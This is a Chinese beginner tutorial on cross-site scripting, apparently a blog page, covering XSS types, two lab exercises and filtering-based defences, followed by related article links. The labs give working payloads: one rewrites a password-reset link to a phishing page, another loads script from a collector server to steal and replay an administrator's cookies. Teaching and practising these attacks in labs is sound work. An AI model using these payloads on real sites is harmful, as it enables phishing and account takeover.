初级安全入门——XSS注入的原理与利用
XSS的简单介绍
- 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户目的。
- XSS危害:
- 流量劫持
- 获取用户cookie信息,盗取账号
- 篡改、删除页面信息(钓鱼)
- 配合CSRF攻击,实施进一步攻击
- XSS分类
- 反射型XSS:反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
- 存储型XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
- DOM型:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
实验场景一:钓鱼攻击
任务一:
测试管理界面是否存在XSS
小提示:提示错误url会返回username的值,闭合前后标签
在用户名框中输入"><script>alert(2)</script>(闭合input标签)
结果,界面弹窗,证明该系统存在XSS注入
任务二:
上一步验证得出,该页面存在XSS漏洞。接下来针对该漏洞进行修改链接属性实现跳转到钓鱼界面
在username=后面加上"><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='http://127.0.0.1:8082/wjmm.php';}</script><a(修改忘记密码a标签的href,使其指向钓鱼网站)
点击忘记密码,进入了钓鱼网站
实验场景二:盗取cookie
任务一:
将js代码</textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script>; 发表在文章管理系统的留言板上(该地址指向存放接收信息的服务器上的js路径)
任务二:
当后台管理员审核留言(或者其他用户查看到该留言)时,触发页面执行js脚本,将浏览器的cookie发送到接收服务器
收到cookie后,手动给浏览器添加对应cookie
实现伪造管理员(用户)登录
XSS漏洞防范
- XSS的威力主要是取决于JavaScript能够实现的程度,XSS跨站脚本的形成原因是对输入输出没有严格过滤,导致在页面上可以执行JavaScript等客户端代码,所以只要将敏感字符过滤,就可以修复XSS跨站漏洞。
- 修复和防范方法:
- 三种类型的XSS漏洞都可以通过过滤或编码进行修复。
- 反射型XSS和存储型XSS可以在服务端对用户输入输出的内容过滤和编码操作,将关键字进行过滤处理,关键符号进行编码处理,如将所有on事件,script等关键字进行过滤,将所有<,>,”,’,=等特殊符号进行实体化编码或url编码便可以修复。
- DOM型XSS如有在服务端进行交互,也可参考上述的方法进行修复,如未和服务端进行交互,可在客户端使用JavaScript等客户端脚本语言进行编码和过滤处理。
初级安全入门——XSS注入的原理与利用的更多相关文章
- 初级安全入门——SQL注入的原理与利用
工具简介 SQLMAP: 一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器.它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文 ...
- 【web安全】第一弹:利用xss注入获取cookie
首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae ...
- Atitit. Xss 漏洞的原理and应用xss木马
Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”. ...
- web安全之XSS注入
之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...
- Web安全攻防(一)XSS注入和CSRF
跨站脚本攻击(XSS) XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS. 攻击原理: 恶意攻击者往Web页面里插入恶意Script代码,当 ...
- 富文本编辑器防止xss注入javascript版
富文本编辑器:ueditor 其实富文本编辑器已经有防止xss注入功能,但是你服务端程序在接收的时候在做一次转义,否则有可能然后前端验证直接提交数据导致被xss攻击. 为了节省后端程序开销则在前端 显 ...
- 基于DOM的XSS注入漏洞简单解析
基于DOM的XSS注入漏洞简单解析http://automationqa.com/forum.php?mod=viewthread&tid=2956&fromuid=21
- 依赖注入及AOP简述(三)——依赖注入的原理
3. “依赖注入”登场 于是诸多优秀的IT工程师开始想出了更加轻量便利.更加具有可测试性和可维护性的设计模式——IoC模式.IoC,即Inversion of Control的缩写,中文里被称 ...
- Spring、Spring依赖注入与编码剖析Spring依赖注入的原理
Spring依赖注入 新建PersonIDao 和PersonDao底实现Save方法: public interface PersonIDao { public void save(); } pub ...
随机推荐
- oracle之 ORA-12557: TNS: 协议适配器不可加载
操作系统:windows 7数据库版本: 11.2.0.1问题描述:直接通过 sqlplus sys/oracle@10.10.100.109:1521/ysxt as sysdba 可以登录,但是通 ...
- docker 运行java程序时区问题
如果 docker 上面 java 的当前时间比,真实时间慢了8 小时,那估计就是时区问题了, 需要在 打包docker镜像的时候 带上 localtime 和 timezone.(这2 个文件 ...
- ubuntu防火墙ufw使用教程
查看ubuntu版本cat /etc/issue或者lsb_release -a 防火墙 由于Linux原始的防火墙工具iptables过于繁琐,所以ubuntu默认提供了一个基于iptable之上的 ...
- Hadoop HDFS DataNode 目录结构
DataNode 目录结构 和namenode不同的是,datanode的存储目录是初始阶段自动创建的,不需要额外格式化. 1. 在/opt/module/hadoop-2.7.2/data/t ...
- Windows系统下MySQL数据库出现Access denied for user 'root'@'localhost' (using password:YES) 错误
Windows系统下MySQL数据库出现Access denied for user 'root'@'localhost' (using password:YES) 错误,(root密码错误) 处理方 ...
- 通过状态机来对axi_lite总线进行操作
通过状态机来对axi_lite总线进行操作 状态跳转: 1.初始状态 将axi_lite读写两个信道分开进行控制,在初始状态,就根据读,写信号来判断应该跳转到那一个状态. 2.写状态 在写状态中不需要 ...
- VSFTP再配置 我里个去马蛋网上这么多烂文章,走了好多弯路
1.CentOS 进行yum 安装 vsftpd 2.vi /etc/vsftpd/vsftpd.conf 进行配置 3.创建FTP 用户 # useradd –d /var/www -g ftp ...
- 创建virtualenv虚拟环境
这个部分知识我在之前的随笔里记过笔记. 传送门:http://www.cnblogs.com/0bug/p/8598458.html 本文只演示Windos下virtualenv环境的使用: 首先,确 ...
- MVC+linq开发经验
1.Though it is a mass,it will help you out of another mass,so,be glad to face it. 2.吃自己的狗粮.系统像一个房子,一 ...
- LINUX 内存使用情况
# free 显示结果如下: Mem:表示物理内存统计 total 内存总数 8057964KBused 已使用的内存 7852484KBfree 空闲的内存数 205480KBshared 当前已经 ...